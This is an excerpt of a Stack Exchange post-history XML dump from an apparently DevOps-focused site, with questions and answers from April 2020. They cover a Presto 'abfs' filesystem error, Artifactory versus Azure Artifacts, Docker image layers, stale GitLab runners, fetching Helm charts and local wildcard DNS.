ContentLicense="CC BY-SA 4.0" />
  <row Id="34822" PostHistoryTypeId="5" PostId="11387" RevisionGUID="28b78524-3be4-4f58-abca-ead10fead43a" CreationDate="2020-04-20T08:20:32.283" UserId="20042" Comment="formatting, spell and tags" Text="I am using `prestodb:0.234`&#xD;&#xA;&#xD;&#xA;Dependency jars: &#xD;&#xA;```&#xD;&#xA;   azure-storage-2.0.0.jar&#xD;&#xA;   hadoop-azure-3.2.1.jar&#xD;&#xA;   hadoop-azure-datalake-3.2.1.jar &#xD;&#xA;   azure-data-lake-store-sdk-2.3.8.jar&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I am getting below error while doing the querying.&#xD;&#xA;&#xD;&#xA;    com.facebook.presto.spi.PrestoException: cannot create caching file system&#xD;&#xA;    	at com.facebook.presto.hive.HiveCachingHdfsConfiguration.lambda$getConfiguration$0(HiveCachingHdfsConfiguration.java:70)&#xD;&#xA;    	at com.facebook.presto.hive.HiveCachingHdfsConfiguration$CachingJobConf.createFileSystem(HiveCachingHdfsConfiguration.java:94)&#xD;&#xA;    	at org.apache.hadoop.fs.PrestoFileSystemCache.get(PrestoFileSystemCache.java:59)&#xD;&#xA;    	at org.apache.hadoop.fs.FileSystem.get(FileSystem.java:373)&#xD;&#xA;    	at org.apache.hadoop.fs.Path.getFileSystem(Path.java:295)&#xD;&#xA;    	at com.facebook.presto.hive.HdfsEnvironment.lambda$getFileSystem$0(HdfsEnvironment.java:73)&#xD;&#xA;    	at com.facebook.presto.hive.authentication.NoHdfsAuthentication.doAs(NoHdfsAuthentication.java:23)&#xD;&#xA;    	at com.facebook.presto.hive.HdfsEnvironment.getFileSystem(HdfsEnvironment.java:72)&#xD;&#xA;    	at com.facebook.presto.hive.HdfsEnvironment.getFileSystem(HdfsEnvironment.java:66)&#xD;&#xA;    	at com.facebook.presto.hive.BackgroundHiveSplitLoader.loadPartition(BackgroundHiveSplitLoader.java:298)&#xD;&#xA;    	at com.facebook.presto.hive.BackgroundHiveSplitLoader.loadSplits(BackgroundHiveSplitLoader.java:270)&#xD;&#xA;    	at com.facebook.presto.hive.BackgroundHiveSplitLoader.access$300(BackgroundHiveSplitLoader.java:100)&#xD;&#xA;    	at com.facebook.presto.hive.BackgroundHiveSplitLoader$HiveSplitLoaderTask.process(BackgroundHiveSplitLoader.java:199)&#xD;&#xA;    	at com.facebook.presto.hive.util.ResumableTasks.safeProcessTask(ResumableTasks.java:47)&#xD;&#xA;    	at com.facebook.presto.hive.util.ResumableTasks.access$000(ResumableTasks.java:20)&#xD;&#xA;    	at com.facebook.presto.hive.util.ResumableTasks$1.run(ResumableTasks.java:35)&#xD;&#xA;    	at com.facebook.airlift.concurrent.BoundedExecutor.drainQueue(BoundedExecutor.java:78)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)&#xD;&#xA;    	at java.lang.Thread.run(Thread.java:748)&#xD;&#xA;    Caused by: java.io.IOException: No FileSystem for scheme: abfs&#xD;&#xA;    	at org.apache.hadoop.fs.FileSystem.getFileSystemClass(FileSystem.java:2660)&#xD;&#xA;    	at org.apache.hadoop.fs.PrestoFileSystemCache.createFileSystem(PrestoFileSystemCache.java:114)&#xD;&#xA;    	at org.apache.hadoop.fs.PrestoFileSystemCache.getInternal(PrestoFileSystemCache.java:89)&#xD;&#xA;    	at org.apache.hadoop.fs.PrestoFileSystemCache.get(PrestoFileSystemCache.java:62)&#xD;&#xA;    	at org.apache.hadoop.fs.FileSystem.get(FileSystem.java:373)&#xD;&#xA;    	at org.apache.hadoop.fs.Path.getFileSystem(Path.java:295)&#xD;&#xA;    	at com.facebook.presto.hive.HiveCachingHdfsConfiguration.lambda$getConfiguration$0(HiveCachingHdfsConfiguration.java:66)&#xD;&#xA;&#xD;&#xA;Any suggestions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34823" PostHistoryTypeId="6" PostId="11387" RevisionGUID="28b78524-3be4-4f58-abca-ead10fead43a" CreationDate="2020-04-20T08:20:32.283" UserId="20042" Comment="formatting, spell and tags" Text="&lt;azure&gt;&lt;java&gt;&lt;hive&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34824" PostHistoryTypeId="24" PostId="11387" RevisionGUID="28b78524-3be4-4f58-abca-ead10fead43a" CreationDate="2020-04-20T08:20:32.283" Comment="Proposed by 20042 approved by 40 edit id of 1188" ContentLicense="CC BY-SA 4.0" />
  <row Id="34825" PostHistoryTypeId="5" PostId="11386" RevisionGUID="1a9610b4-9ae2-4ee1-a935-f926ea8c2f1c" CreationDate="2020-04-20T09:47:41.547" UserId="21810" Comment="deleted 61 characters in body" Text="**JFrog Artifactory pros**&#xD;&#xA;&#xD;&#xA;Artifactory supports 25+ package types, while Azure supports only Maven, npm, NuGet and Python. You can get Docker and Helm with Azure Container Registry but it’s a separate tool.&#xD;&#xA;&#xD;&#xA;Artifactory is fully hybrid - available both for on-premise installations and as SaaS - with full parity between the versions.&#xD;&#xA;&#xD;&#xA;With Artifactory you can avoid vendor lock-in - not depending just on one cloud vendor for all of your needs. That also means not being limited to any vendor’s stack for your database, access management, etc.&#xD;&#xA; Proxy any remote repository - not just the official ones (like Maven Central and PyPI.org)&#xD;&#xA;&#xD;&#xA;Artifactory is optimized for multi-site operations - Supports any network topology, over multiple, geographically distant sites and data centers, through different options for replication including pull, push, event-based and multi-push replication.&#xD;&#xA;&#xD;&#xA;Rich metadata &amp; AQL - Artifactory provides full metadata capabilities for all major package formats for both artifacts and folders – including custom metadata. Users can tag artifacts and folders with searchable properties. Artifactory also collects build information for build artifacts as part of the CI server integration (see below). AQL gives you unprecedented flexibility in how you search for artifacts. It offers a simple way to formulate complex queries that specify any number of search criteria, filters, sorting options and output fields.&#xD;&#xA;&#xD;&#xA;Build info - Artifactory stores exhaustive metadata for all build artifacts deployed to it. With this “bill of materials” it is easy to faithfully reproduce a build, and trace the cause of issues to reduce time to resolution (TTR), even if the build is already in production.&#xD;&#xA;&#xD;&#xA;**Azure Artifacts pros**&#xD;&#xA;&#xD;&#xA;if your CI is already built on Azure DevOps, the initial set up for Azure Artifacts may be a bit quicker. The basic functionality of hosting artifacts, so that they can be resolved by other builds will work for you." ContentLicense="CC BY-SA 4.0" />
  <row Id="34826" PostHistoryTypeId="2" PostId="11389" RevisionGUID="c00c27ec-10e5-49ae-92e3-9437306bb5b2" CreationDate="2020-04-20T11:13:47.757" UserId="21715" Text="You have no problem at the first place. An image in Docker is not like a monolithic ISO. It has layers. And layers in Docker, when you run them, are immutable. &#xD;&#xA;&#xD;&#xA;For example: &#xD;&#xA;&#xD;&#xA; - Somebody built Alpine image with hash abc123&#xD;&#xA; - Then somebody build a Python image based on Alpine (FROM alpine:abc123) with hash def456.&#xD;&#xA; - Now you've build your image atop of Python (FROM python:def456) and result in hash ghi789.&#xD;&#xA;&#xD;&#xA;Now your customer is pulling the image: &#xD;&#xA;&#xD;&#xA;    docker pull flask:ghi789&#xD;&#xA;&#xD;&#xA;When he runs his container he gets three read-only layers in memory (abc123, def456 and ghi789) and one new read-write layer jkl357 that is initially empty. It will be filled with some data during app activity or external connections like &quot;docker exec ...&quot;.&#xD;&#xA;Thus, no matter what customer does in his new layers, all precommitted layers are safe.&#xD;&#xA;&#xD;&#xA;The layer jkl357 become immutable (readonly) only upon commit. But this is already not your image SHA and not related to you app:&#xD;&#xA;&#xD;&#xA;    docker commit -t my-altered-flask:tag&#xD;&#xA;&#xD;&#xA;___&#xD;&#xA;All said is relevant unless your goal is to protect from modifying, not from read at all." ContentLicense="CC BY-SA 4.0" />
  <row Id="34827" PostHistoryTypeId="5" PostId="11389" RevisionGUID="4fe17a7e-eae7-4530-a70c-b8197fa0a3bd" CreationDate="2020-04-20T11:18:55.433" UserId="21715" Comment="added 27 characters in body" Text="You have no problem at the first place. An image in Docker is not like a monolithic ISO. It has layers. And layers in Docker, when you run them, are immutable. &#xD;&#xA;&#xD;&#xA;For example: &#xD;&#xA;&#xD;&#xA; - Somebody built Alpine image with hash abc123&#xD;&#xA; - Then somebody build a Python image based on Alpine (FROM alpine:abc123) with hash def456.&#xD;&#xA; - Now you've build your image atop of Python (FROM python:def456) and result in hash ghi789.&#xD;&#xA;&#xD;&#xA;Now your customer is pulling the image: &#xD;&#xA;&#xD;&#xA;    docker pull flask:ghi789&#xD;&#xA;&#xD;&#xA;When he runs his container he gets three read-only layers in memory (abc123, def456 and ghi789) and one new read-write layer jkl357 that is initially empty. It will be filled later with some data during app activity, for example - logs, or external connections like &quot;docker exec ...&quot;.&#xD;&#xA;Thus, no matter what customer does in his new layers, all precommitted layers are safe.&#xD;&#xA;&#xD;&#xA;The layer jkl357 become immutable (readonly) only upon commit. But this is already not your image SHA and not related to you app:&#xD;&#xA;&#xD;&#xA;    docker commit -t my-altered-flask:tag&#xD;&#xA;&#xD;&#xA;___&#xD;&#xA;All said is relevant unless your goal is to protect from modifying, not from read at all." ContentLicense="CC BY-SA 4.0" />
  <row Id="34831" PostHistoryTypeId="33" PostId="11369" RevisionGUID="a41a0161-979a-40b6-84b5-43619868995e" CreationDate="2020-04-20T18:18:00.757" UserId="21759" Comment="55" />
  <row Id="34838" PostHistoryTypeId="2" PostId="11393" RevisionGUID="5cc74423-ea7f-4d0c-9f2b-6f6740e3a31a" CreationDate="2020-04-21T00:20:13.737" UserId="10807" Text="I am running GitLab Runner using a Helm chart as described on the [GitLab Runner Helm Chart page][1]. Everything seems to be working, but after about two months of running I see on my GitLab group that controls the GitLab runner on the &quot;CI / CD Settings|Runners&quot; page the message &quot;Available group Runners: 54&quot;. Here is the first couple on that page:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA; Rather than listing all 54 here is the list run through `uniq -c`: &#xD;&#xA;```      3 gitlab-runner-gitlab-runner-9fcb644b9-4f5ss&#xD;&#xA;      2 gitlab-runner-gitlab-runner-9fcb644b9-4gqqq&#xD;&#xA;      1 gitlab-runner-gitlab-runner-9fcb644b9-889rc&#xD;&#xA;      2 gitlab-runner-gitlab-runner-9fcb644b9-grb5j&#xD;&#xA;      1 gitlab-runner-gitlab-runner-9fcb644b9-hhv8f&#xD;&#xA;      1 gitlab-runner-gitlab-runner-9fcb644b9-kzcdv&#xD;&#xA;     13 gitlab-runner-gitlab-runner-9fcb644b9-nvrms&#xD;&#xA;      7 gitlab-runner-gitlab-runner-9fcb644b9-pl2k4&#xD;&#xA;      2 gitlab-runner-gitlab-runner-9fcb644b9-sxlmp&#xD;&#xA;      9 gitlab-runner-gitlab-runner-9fcb644b9-vdmsj&#xD;&#xA;      3 gitlab-runner-gitlab-runner-9fcb644b9-vgdnv&#xD;&#xA;      8 gitlab-runner-gitlab-runner-9fcb644b9-wst8q&#xD;&#xA;      2 gitlab-runner-gitlab-runner-9fcb644b9-xnzhx&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Looking at my GitLab Runner Kubernetes container there seems to be only *one* runner:&#xD;&#xA;```$ /usr/bin/gitlab-runner list&#xD;&#xA;Runtime platform                                    arch=amd64 os=linux pid=4953 revision=1b659122 version=12.8.0&#xD;&#xA;Listing configured runners                          ConfigFile=/home/gitlab-runner/.gitlab-runner/config.toml&#xD;&#xA;gitlab-runner-gitlab-runner-9fcb644b9-grb5j         Executor=kubernetes Token=XXXXXXXXXXXX-XXXXX URL=https://myserver.example.com/ &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;How do I convince GitLab that these old runners are not still around? And how do I avoid this problem in the future?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/runner/install/kubernetes.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/zjdWOm.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="34839" PostHistoryTypeId="1" PostId="11393" RevisionGUID="5cc74423-ea7f-4d0c-9f2b-6f6740e3a31a" CreationDate="2020-04-21T00:20:13.737" UserId="10807" Text="GitLab CI/CD page listing many gitlab runners that no longer exist" ContentLicense="CC BY-SA 4.0" />
  <row Id="34840" PostHistoryTypeId="3" PostId="11393" RevisionGUID="5cc74423-ea7f-4d0c-9f2b-6f6740e3a31a" CreationDate="2020-04-21T00:20:13.737" UserId="10807" Text="&lt;kubernetes&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34841" PostHistoryTypeId="5" PostId="11393" RevisionGUID="3bee74cf-a9a0-4ee6-a677-94545960d0ed" CreationDate="2020-04-21T00:30:35.680" UserId="10807" Comment="added 188 characters in body" Text="I am running GitLab Runner using a Helm chart as described on the [GitLab Runner Helm Chart page][1]. Everything seems to be working, but after about two months of running I see on my GitLab group that controls the GitLab runner on the &quot;CI / CD Settings|Runners&quot; page the message &quot;Available group Runners: 54&quot;. Here is the first couple on that page:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA; Rather than listing all 54 here is the list run through `uniq -c`: &#xD;&#xA;```      3 gitlab-runner-gitlab-runner-9fcb644b9-4f5ss&#xD;&#xA;      2 gitlab-runner-gitlab-runner-9fcb644b9-4gqqq&#xD;&#xA;      1 gitlab-runner-gitlab-runner-9fcb644b9-889rc&#xD;&#xA;      2 gitlab-runner-gitlab-runner-9fcb644b9-grb5j&#xD;&#xA;      1 gitlab-runner-gitlab-runner-9fcb644b9-hhv8f&#xD;&#xA;      1 gitlab-runner-gitlab-runner-9fcb644b9-kzcdv&#xD;&#xA;     13 gitlab-runner-gitlab-runner-9fcb644b9-nvrms&#xD;&#xA;      7 gitlab-runner-gitlab-runner-9fcb644b9-pl2k4&#xD;&#xA;      2 gitlab-runner-gitlab-runner-9fcb644b9-sxlmp&#xD;&#xA;      9 gitlab-runner-gitlab-runner-9fcb644b9-vdmsj&#xD;&#xA;      3 gitlab-runner-gitlab-runner-9fcb644b9-vgdnv&#xD;&#xA;      8 gitlab-runner-gitlab-runner-9fcb644b9-wst8q&#xD;&#xA;      2 gitlab-runner-gitlab-runner-9fcb644b9-xnzhx&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Looking at my GitLab Runner Kubernetes container there seems to be only *one* runner:&#xD;&#xA;```$ /usr/bin/gitlab-runner list&#xD;&#xA;Runtime platform                                    arch=amd64 os=linux pid=4953 revision=1b659122 version=12.8.0&#xD;&#xA;Listing configured runners                          ConfigFile=/home/gitlab-runner/.gitlab-runner/config.toml&#xD;&#xA;gitlab-runner-gitlab-runner-9fcb644b9-grb5j         Executor=kubernetes Token=XXXXXXXXXXXX-XXXXX URL=https://myserver.example.com/ &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Another potentially important piece of information: the Kubernetes node that hosts the GitLab Runner container is preemptible meaning it gets killed and restated about every 24 hours. &#xD;&#xA;&#xD;&#xA;How do I convince GitLab that these old runners are not still around? And how do I avoid this problem in the future?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/runner/install/kubernetes.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/zjdWOm.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="34843" PostHistoryTypeId="5" PostId="11393" RevisionGUID="729f0f0c-a9ab-439e-a12c-938b0646c72a" CreationDate="2020-04-21T04:48:14.973" UserId="10807" Comment="added 1 character in body" Text="I am running GitLab Runner using a Helm chart as described on the [GitLab Runner Helm Chart page][1]. Everything seems to be working, but after about two months of running I see on my GitLab group that controls the GitLab runner on the &quot;CI / CD Settings|Runners&quot; page the message &quot;Available group Runners: 54&quot;. Here is the first couple on that page:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA; Rather than listing all 54 here is the list run through `uniq -c`: &#xD;&#xA;```      3 gitlab-runner-gitlab-runner-9fcb644b9-4f5ss&#xD;&#xA;      2 gitlab-runner-gitlab-runner-9fcb644b9-4gqqq&#xD;&#xA;      1 gitlab-runner-gitlab-runner-9fcb644b9-889rc&#xD;&#xA;      2 gitlab-runner-gitlab-runner-9fcb644b9-grb5j&#xD;&#xA;      1 gitlab-runner-gitlab-runner-9fcb644b9-hhv8f&#xD;&#xA;      1 gitlab-runner-gitlab-runner-9fcb644b9-kzcdv&#xD;&#xA;     13 gitlab-runner-gitlab-runner-9fcb644b9-nvrms&#xD;&#xA;      7 gitlab-runner-gitlab-runner-9fcb644b9-pl2k4&#xD;&#xA;      2 gitlab-runner-gitlab-runner-9fcb644b9-sxlmp&#xD;&#xA;      9 gitlab-runner-gitlab-runner-9fcb644b9-vdmsj&#xD;&#xA;      3 gitlab-runner-gitlab-runner-9fcb644b9-vgdnv&#xD;&#xA;      8 gitlab-runner-gitlab-runner-9fcb644b9-wst8q&#xD;&#xA;      2 gitlab-runner-gitlab-runner-9fcb644b9-xnzhx&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Looking at my GitLab Runner Kubernetes container there seems to be only *one* runner:&#xD;&#xA;```$ /usr/bin/gitlab-runner list&#xD;&#xA;Runtime platform                                    arch=amd64 os=linux pid=4953 revision=1b659122 version=12.8.0&#xD;&#xA;Listing configured runners                          ConfigFile=/home/gitlab-runner/.gitlab-runner/config.toml&#xD;&#xA;gitlab-runner-gitlab-runner-9fcb644b9-grb5j         Executor=kubernetes Token=XXXXXXXXXXXX-XXXXX URL=https://myserver.example.com/ &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Another potentially important piece of information: the Kubernetes node that hosts the GitLab Runner container is preemptible meaning it gets killed and restarted about every 24 hours. &#xD;&#xA;&#xD;&#xA;How do I convince GitLab that these old runners are not still around? And how do I avoid this problem in the future?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/runner/install/kubernetes.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/zjdWOm.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="34844" PostHistoryTypeId="2" PostId="11394" RevisionGUID="8f6d8a8f-b7a9-4e9e-b735-a769947ade68" CreationDate="2020-04-21T06:49:11.313" UserId="21739" Text="You can download the latest stable or unstable version from the helm repo.&#xD;&#xA;First, You need to verify the remote helm repo URL below command.&#xD;&#xA;&#xD;&#xA;    # helm repo list&#xD;&#xA;For stable repo URL, you will get output like&#xD;&#xA;&#xD;&#xA;    NAME            URL&#xD;&#xA;    stable          https://kubernetes-charts.storage.googleapis.com&#xD;&#xA;It refers to **`https://github.com/helm/charts/tree/master/stable`**&#xD;&#xA;&#xD;&#xA;Now I will tell you to download the chart from the repo URL.&#xD;&#xA;&#xD;&#xA;    helm fetch stable/wordpress --version 0.6.0&#xD;&#xA;&#xD;&#xA;For the extracted copy of the chart&#xD;&#xA;&#xD;&#xA;     helm fetch stable/wordpress --version 0.6.0 --untar&#xD;&#xA;**The above command will download the chart in your current directory.**" ContentLicense="CC BY-SA 4.0" />
  <row Id="34845" PostHistoryTypeId="2" PostId="11395" RevisionGUID="a5a7be93-4617-4751-a57d-aceabda2d602" CreationDate="2020-04-21T07:44:20.903" UserId="20042" Text="As per [GitLab Runner commands](https://docs.gitlab.com/runner/commands/#gitlab-runner-verify) manual:&#xD;&#xA;&#xD;&#xA;&gt; To delete the old and removed from GitLab runners, execute the following command.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    gitlab-runner verify --delete&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34846" PostHistoryTypeId="5" PostId="11395" RevisionGUID="fdccc84b-2f19-4ff0-a46a-cf589fb6a330" CreationDate="2020-04-21T08:00:33.377" UserId="20042" Comment="added 640 characters in body" Text="##Just unregister offline runners:&#xD;&#xA;&#xD;&#xA;As per [GitLab Runner commands](https://docs.gitlab.com/runner/commands/#gitlab-runner-verify) manual:&#xD;&#xA;&#xD;&#xA;&gt; To delete the old and removed from GitLab runners, execute the following command.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    gitlab-runner verify --delete&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## You are not alone&#xD;&#xA;&#xD;&#xA;P.S. The problem is common: there [are many issues](https://google.com/search?q=site%3A+https%3A%2F%2Fgitlab.com%2Fgitlab-org%2F+issue++intitle%3Arunner+intitle%3Aclean|remove|expired) with questions like yours.&#xD;&#xA;&#xD;&#xA;Moreover, there are several custom recipes to unregister &quot;offline&quot; runners:&#xD;&#xA;&#xD;&#xA;* [`bash` script](https://gitlab.com/gitlab-org/gitlab-foss/issues/19828#note_54956232)&#xD;&#xA;* [API oneliner with `curl`](https://gitlab.com/gitlab-org/gitlab-foss/issues/19828#note_132438194)&#xD;&#xA;* [`python` script](https://gitlab.com/gitlab-org/gitlab-foss/issues/19828#note_202265652)" ContentLicense="CC BY-SA 4.0" />
  <row Id="34847" PostHistoryTypeId="5" PostId="11241" RevisionGUID="4f08a658-8c4f-4cdc-8b3c-307baba5eedd" CreationDate="2020-04-21T08:01:40.190" UserId="19335" Comment="add TLDR to nail the main idea" Text="### TLDR&#xD;&#xA;From cloud instance, just go push to docker hub; you will be routed to the best location automatically.&#xD;&#xA;&#xD;&#xA;### Full details&#xD;&#xA;DockerHub is a massive scale and very critical global service.  So, you almost definitely don't have to think about this at all.&#xD;&#xA;&#xD;&#xA;There are techniques on cloud hosts (AWS, Azure, GCP) to replicate &amp; host content/services in regions across the globe and route traffic to the closest entry point automatically.  The cloud hosts make this quite easy to do with their managed services (while without them it would be very difficult).&#xD;&#xA;&#xD;&#xA;Also, there are many third party providers of technologies like CDNs which do similar things at scale (and they are really good at it).  They are **extremely** frequently used in these cases.&#xD;&#xA;&#xD;&#xA;So, again - just go to docker hub and don't think about it.  You will be routed to the best location automatically." ContentLicense="CC BY-SA 4.0" />
  <row Id="34848" PostHistoryTypeId="24" PostId="11241" RevisionGUID="4f08a658-8c4f-4cdc-8b3c-307baba5eedd" CreationDate="2020-04-21T08:01:40.190" Comment="Proposed by 19335 approved by 739, 707 edit id of 1181" ContentLicense="CC BY-SA 4.0" />
  <row Id="34850" PostHistoryTypeId="5" PostId="11393" RevisionGUID="dc7419f7-993b-476a-8301-662f42321361" CreationDate="2020-04-21T09:36:18.087" UserId="20042" Comment="formatting and tags" Text="I am running `GitLab Runner` using a `Helm` chart as described on the [GitLab Runner Helm Chart page][1]. &#xD;&#xA;&#xD;&#xA;Everything seems to be working, but after about two months of running I see on my `GitLab` group that controls the `GitLab runner` on the &quot;CI / CD Settings|Runners&quot; page the message&#xD;&#xA;&#xD;&#xA;&gt; &quot;Available group Runners: 54&quot;. &#xD;&#xA;&#xD;&#xA;Here is the first couple on that page:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA; Rather than listing all 54 here is the list run through `uniq -c`: &#xD;&#xA;```&#xD;&#xA;      3 gitlab-runner-gitlab-runner-9fcb644b9-4f5ss&#xD;&#xA;      2 gitlab-runner-gitlab-runner-9fcb644b9-4gqqq&#xD;&#xA;      1 gitlab-runner-gitlab-runner-9fcb644b9-889rc&#xD;&#xA;      2 gitlab-runner-gitlab-runner-9fcb644b9-grb5j&#xD;&#xA;      1 gitlab-runner-gitlab-runner-9fcb644b9-hhv8f&#xD;&#xA;      1 gitlab-runner-gitlab-runner-9fcb644b9-kzcdv&#xD;&#xA;     13 gitlab-runner-gitlab-runner-9fcb644b9-nvrms&#xD;&#xA;      7 gitlab-runner-gitlab-runner-9fcb644b9-pl2k4&#xD;&#xA;      2 gitlab-runner-gitlab-runner-9fcb644b9-sxlmp&#xD;&#xA;      9 gitlab-runner-gitlab-runner-9fcb644b9-vdmsj&#xD;&#xA;      3 gitlab-runner-gitlab-runner-9fcb644b9-vgdnv&#xD;&#xA;      8 gitlab-runner-gitlab-runner-9fcb644b9-wst8q&#xD;&#xA;      2 gitlab-runner-gitlab-runner-9fcb644b9-xnzhx&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Looking at my `GitLab Runner` `Kubernetes` container there seems to be only *one* runner:&#xD;&#xA;```bash&#xD;&#xA;$ /usr/bin/gitlab-runner list&#xD;&#xA;Runtime platform                                    arch=amd64 os=linux pid=4953 revision=1b659122 version=12.8.0&#xD;&#xA;Listing configured runners                          ConfigFile=/home/gitlab-runner/.gitlab-runner/config.toml&#xD;&#xA;gitlab-runner-gitlab-runner-9fcb644b9-grb5j         Executor=kubernetes Token=XXXXXXXXXXXX-XXXXX URL=https://myserver.example.com/ &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Another potentially important piece of information: the `Kubernetes` node that hosts the `GitLab Runner` container is preemptible meaning it gets killed and restarted about every 24 hours. &#xD;&#xA;&#xD;&#xA;How do I convince `GitLab` that these old runners are not still around? And how do I avoid this problem in the future?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/runner/install/kubernetes.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/zjdWOm.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="34851" PostHistoryTypeId="6" PostId="11393" RevisionGUID="dc7419f7-993b-476a-8301-662f42321361" CreationDate="2020-04-21T09:36:18.087" UserId="20042" Comment="formatting and tags" Text="&lt;kubernetes&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34852" PostHistoryTypeId="24" PostId="11393" RevisionGUID="dc7419f7-993b-476a-8301-662f42321361" CreationDate="2020-04-21T09:36:18.087" Comment="Proposed by 20042 approved by 707, 40 edit id of 1190" ContentLicense="CC BY-SA 4.0" />
  <row Id="34853" PostHistoryTypeId="5" PostId="4911" RevisionGUID="34fe60bb-c273-4437-9547-8162ce8e2b53" CreationDate="2020-04-21T09:36:26.553" UserId="4852" Comment="Add link to docu and format code" Text="From the [git documentation][1] around the command `git rev-list`: &#xD;&#xA;&#xD;&#xA;**`git rev-list A...B`**&#xD;&#xA;&#xD;&#xA;Try your command syntax like the above (i.e. `origin/master...origin/${currentBranch}`) &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://git-scm.com/docs/git-rev-list" ContentLicense="CC BY-SA 4.0" />
  <row Id="34854" PostHistoryTypeId="24" PostId="4911" RevisionGUID="34fe60bb-c273-4437-9547-8162ce8e2b53" CreationDate="2020-04-21T09:36:26.553" Comment="Proposed by 4852 approved by 707, 40 edit id of 1189" ContentLicense="CC BY-SA 4.0" />
  <row Id="34855" PostHistoryTypeId="2" PostId="11396" RevisionGUID="c424eed7-5116-4dd2-a605-9e01c1fd1b77" CreationDate="2020-04-21T09:37:35.620" UserId="21844" Text="An app, running on my laptop in development mode, comprises several Docker containers, one of which runs a Django web app.&#xD;&#xA;&#xD;&#xA;This web app expects to receive HTTP requests using a hostname with a variable leading part, e.g. &quot;test-account.survey.com&quot;, in which 'test-account' is a slug representing a particular account, and the remaining string 'survey.com' is fixed.&#xD;&#xA;&#xD;&#xA;Now I know this can be resolved in a Live environment, involving external HTTP requests, by using wildcard DNS servers [ https://en.wikipedia.org/wiki/Wildcard_DNS_record ].&#xD;&#xA;&#xD;&#xA;But I'd like to set up and configure on my laptop a local DNS server for the sole purpose of forwarding hostnames as above to a fixed IP address, e.g. 127.0.0.1 and &quot;passing through&quot; any other hostnames.&#xD;&#xA;&#xD;&#xA;Any recommendations? Thanks in anticipation.&#xD;&#xA;&#xD;&#xA;P.S. The DNS server must support Windows 10 and Mac OS.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34856" PostHistoryTypeId="1" PostId="11396" RevisionGUID="c424eed7-5116-4dd2-a605-9e01c1fd1b77" CreationDate="2020-04-21T09:37:35.620" UserId="21844" Text="How to locally resolve host name starting with variable slug?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34857" PostHistoryTypeId="3" PostId="11396" RevisionGUID="c424eed7-5116-4dd2-a605-9e01c1fd1b77" CreationDate="2020-04-21T09:37:35.620" UserId="21844" Text="&lt;docker&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34858" PostHistoryTypeId="2" PostId="11397" RevisionGUID="d2091742-87a7-49c9-8aaa-f6606f44aa0d" CreationDate="2020-04-21T09:41:05.347" UserId="21843" Text="here are my 2 cents,&#xD;&#xA;&#xD;&#xA;1. You can use GITLAB to have merge requests for all your security requests like adding users to the groups for every new user or existing users. the Mr can be approved by only your IAM admin. You can use GITLAB CI pipelines to go and perform the operation once the MR is approved. From the users side, the user has to  provide their keys and submit as an MR so that the IAM team can validate and approve it. &#xD;&#xA;&#xD;&#xA;2. You can deploy your applications easily using Ansible and Gitlab CI. All you need is just source code of your application and some knowledge of YAML. I am sure, your folks already are equipped with that. Ansible can be used for infra provisioning as well so you can just run the show with them. With regards to os updates, I would say ansible can easily do it. Have the SDLC workflow in place for developing playbooks and once the playbook is modularized, it can used in production. &#xD;&#xA;&#xD;&#xA;Let me know if I answered your query and if you have any other questions." ContentLicense="CC BY-SA 4.0" />
